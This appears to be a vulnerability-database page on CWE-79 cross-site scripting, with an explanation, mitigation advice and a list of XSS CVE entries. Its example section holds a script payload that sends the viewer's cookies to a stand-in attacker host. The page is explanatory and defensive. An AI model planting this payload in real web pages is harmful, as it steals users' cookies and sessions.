Fallos del tipo CWE-79

29.486 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-9417MEDIUMcode-projects Employee Management System myprofileup.php cross site scriptingEPSS 0.4%CVE-2023-24516MEDIUMStored Cross Site Scripting - Special Days ModuleEPSS 0.4%CVE-2026-6559MEDIUMWavlink WL-WN579A3 login.cgi sub_401F80 cross site scriptingEPSS 0.4%CVE-2022-41643MEDIUMWordPress Accessibility plugin <= 1.0.3 - Auth. Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2022-20626MEDIUMCisco Prime Access Registrar Appliance Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2024-25109MEDIUMCross-Site Scripting in the extensions, settings, permissions and namespaces subpages of ManageWikiEPSS 0.4%CVE-2024-33328MEDIUMA cross-site scripting (XSS) vulnerability in the component main.jsp of Lumisxp v15.0.x to v16.1.x allows attackers to execute arbitrary webEPSS 0.4%CVE-2023-5613MEDIUMSuper Testimonials <= 2.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2023-26688MEDIUMCross Site Scripting (XSS) vulnerability in CS-Cart MultiVendor 4.16.1 allows remote attackers to run arbitrary code via the product_data paEPSS 0.4%CVE-2022-2266MEDIUMReflected XSS University Library Automation SystemEPSS 0.4%CVE-2024-36222MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2022-40698MEDIUMWordPress Quiz And Survey Master plugin <= 7.3.10 - Cross-Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2022-45557MEDIUMCross site scripting (XSS) vulnerability in Hundredrabbits Left 7.1.5 for MacOS allows attackers to execute arbitrary code via file names.EPSS 0.4%CVE-2022-45558MEDIUMCross site scripting (XSS) vulnerability in Hundredrabbits Left 7.1.5 for MacOS allows attackers to execute arbitrary code via the meta tag.EPSS 0.4%CVE-2025-62508MEDIUMCitizen vulnerable to stored XSS in sticky header button messagesEPSS 0.4%CVE-2024-41658MEDIUMGHSL-2024-036: Reflected XSS in QrCodePage.jsEPSS 0.4%CVE-2023-0677MEDIUMCross-site Scripting (XSS) - Reflected in phpipam/phpipamEPSS 0.4%CVE-2024-7453MEDIUMFastAdmin Attachment Management Section 4 cross site scriptingEPSS 0.4%CVE-2022-30615MEDIUM"IBM InfoSphere Information Server 11.7 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScriptEPSS 0.4%CVE-2026-28297MEDIUMSolarWinds Observability Self-Hosted Stored Cross-Site Scripting VulnerabilityEPSS 0.4%